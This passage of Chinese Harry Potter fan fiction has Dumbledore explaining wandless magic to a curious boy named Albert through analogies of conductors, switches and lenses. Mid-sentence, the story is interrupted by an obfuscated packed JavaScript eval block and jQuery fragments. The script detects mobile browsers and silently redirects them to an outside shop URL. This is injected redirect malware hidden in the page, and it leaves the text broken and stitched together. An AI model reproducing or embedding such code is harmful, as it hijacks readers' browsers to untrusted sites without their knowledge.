仓鼠在他手指底下转了个圈，把自己蜷成一个毛球，尾巴尖刚好搭在他的指甲盖上。阿尔伯特盯着那个小小的尾巴尖，觉得它像一小截被揉软了的毛线头。他用食指极轻极轻地碰了碰那个尾巴尖，仓鼠动了动耳朵，没醒。
“它会一直变成仓鼠吗？”
阿尔伯特听见自己的声音从喉咙里冒出来。这一次比刚才顺多了，虽然还是有点哑，但字和字之间不再打架了。他抬起眼睛看向邓布利多。
邓布利多正用指尖轻轻摩挲着魔杖的尾端。听到这个问题，他微微侧过头。“不，”他说，“时间到了它会自己变回去。”
阿尔伯特低头看了看仓鼠。它还在睡，肚皮一起一伏，暖烘烘的。“因为没有能量了吗？”他问。
邓布利多的手指停住了。
他看了阿尔伯特一眼。那一眼很短，但阿尔伯特注意到了——老人的眼睛里有什么东西闪了一下，像是坐在火炉边打盹的人忽然听到窗外传来一声鸟叫，睁开眼，发现那只鸟是他很多年没见过的品种，某种被轻轻撞了一下的恍神。
然后那层恍神就散了。邓布利多的眼睛重新弯起来，变成两道温和的弧线。“嗯，”他说，声音很轻，“可以这么说。那是魔法。”
阿尔伯特点了一下头。他低下头继续看仓鼠，但脑子里的问题像锅里烧开的水，一个接一个地冒泡。魔法。这个词他在书里读到过。童话书里有，那本讲亚瑟王和梅林的书里也有。他一直以为那是编出来的，像圣诞老人和牙仙一样。但仓鼠就在他手边，热乎乎的，胡须在梦里一抽一抽。
“那个木棍，”他抬起头，指了指邓布利多手里的魔杖，“是你施法的媒介吗？”
邓布利多的眉毛动了一下。很轻微，大概只是向上抬了半寸，但阿尔伯特看到了。他看见老人把魔杖转了一圈，深褐色的杖身在午后偏斜的阳光里泛出一层暗沉的油光，杖尖划过空气时带出一小道几乎看不见的光痕。
“媒介。”邓布利多重复了这个词，像是把它放在舌尖上尝了尝味道。“你从哪里学到这个词的？”
“书上。”阿尔伯特说。他顿了顿，又补了一句：“讲电学的书。电流需要导体才能从一端到另一端。魔法也是这样吗？”
邓布利多沉默了两个呼吸的时间。
然后他把魔杖平放在桌面上，推到阿尔伯特面前。那根魔杖安静地躺在木纹上，杖尖刚好指向阿尔伯特的方向。“这是一个很有趣的问题，”他说，“你觉得呢？”
阿尔伯特看了看魔杖，又看了看邓布利多。他没有伸手去碰那根魔杖。他觉得那根东西有一种说不上来的分量，放在桌子上，好像比它看上去要重得多。“我觉得，”他慢慢地说，“如果它是媒介，那没有它你应该也能做到。只是可能更难。”
邓布利多什么也没说。他把双手交叉放在桌面上，十根手指松松地叠在一起，等着他继续说下去。
“因为如果你真的需要一根棍子才能施魔法，那它就不是媒介了，”阿尔伯特说，他的语速开始变快，“它就是开关。开关关掉就没有电，但媒介拿掉，电流还可以找别的路走。所以——”他停了一下，抬起头，那双蓝色的眼睛直直地看向邓布利多，“没有那个东西，你还能这样吗？”
会客室里安静了下来。
安静持续的时间不长，但很满。像一杯水被倒到了杯口以上，表面张力撑着一层弧形的水膜，再多一滴就会溢出来。阿尔伯特听见自己耳朵里血管跳动的声音。他不知道为什么心跳这么快。他只是问了几个问题而已。他又没有做错什么。但他还是攥紧了衣角，指甲重新陷进棉布里。
邓布利多看着他。他看了很久，久到阿尔伯特开始后悔问了最后那个问题。太直接了。妈妈说过不要对陌生人太直接。虽然这个陌生人是他妈妈的叔祖父，但仍然是陌生人。他不该——
“是的。”
阿尔伯特眨了一下眼。
“没有魔杖，”邓布利多说着，把手从桌面上抬起来，十根手指摊开给阿尔伯特看，像魔术师在表演完一个戏法之后向观众展示手里什么也没有藏，“我仍然可以施魔法。会变得更难，更难控制，就像用一根没有缠线的鱼竿钓鱼。但可以。”
他把手放下来，重新交叠在桌面上。那双湛蓝色的眼睛从半月形镜片上方看过来，里面有光在动，像湖底的暗流。“你问了一个大部分成年巫师都不会问的问题，阿尔伯特。你知道为什么吗？”
阿尔伯特摇了摇头。
“因为他们已经习惯了。”邓布利多说。他的语气很平淡，像在说一件再普通不过的事情。“习惯是一件很舒服的事情。一旦习惯了，就不会再问为什么。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786421|210180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但你没有习惯。”他微微前倾了一点，胡子的末梢碰到了桌沿，“你还什么都没习惯。所以你问的问题都是对的。”
阿尔伯特低下头，盯着那只还在睡觉的仓鼠。它的肚皮在灯光下泛着一层细细的绒毛光泽，一起一伏，一起一伏。他觉得自己胸口里有一样东西在膨胀，像被热水泡开的干茶叶，慢慢地舒展开来。他说不清楚那是什么感觉。
“那——”他开口，声音里带了一点他自己都没意识到的急迫，“你是怎么做到的？不靠魔杖施魔法，是直接把能量引导出来吗？还是改变能量运行的路径？书里说法力——”
“法力，”邓布利多接过了他的话，声音温和但清晰，“是一个被滥用了的词。它太笼统了。笼统到可以套在任何解释不清的东西上。但我不想用笼统的词来回答你。”
他停顿了一下。阿尔伯特看见他的目光扫过自己的脸，像是在寻找什么——确认什么。
“你想听完整的答案？”
阿尔伯特飞快地点了一下头。点头的动作很用力，用力到他自己都觉得有点不好意思，又低下了头。
“首先，”邓布利多竖起一根手指，“魔杖不是媒介，也不是开关。它更像是——”他偏了偏头，想了想，“一个透镜。你把光线聚焦，就能点燃纸片。光线本身没有变强，但它被集中了。魔杖做的就是这样的事。”
阿尔伯特盯着桌面上那根深褐色的魔杖。透镜。集中。他在脑子里把这两个词翻来覆去地转了几遍，然后抬起头。“那没有透镜的时候，光线还在。只是散的。”
“正是如此。”邓布利多的眼睛亮了一下。那种亮不是礼貌性的亮，而是真心实意的高兴，像老师听到学生解出了一道他没指望对方能解出来的题。“散的，不受控的，有时候甚至会烧到自己的手指头。所以大部分巫师依赖魔杖——因为集中总比不集中好控制。”
“但你不一样。”阿尔伯特说。
邓布利多笑了一下。“我老了，”他说，“老了的好处是，你有很多很多年的时间去练习怎么把散光拢在一起。”
阿尔伯特的手指尖动了动。他低下头，看着自己的手。他的手很小，手指短短的，指甲缝里还残留着今天早上在后院挖土时塞进去的泥。他试着想象自己拢住一束光的样子，但那画面模糊得只剩下一团金色的影子。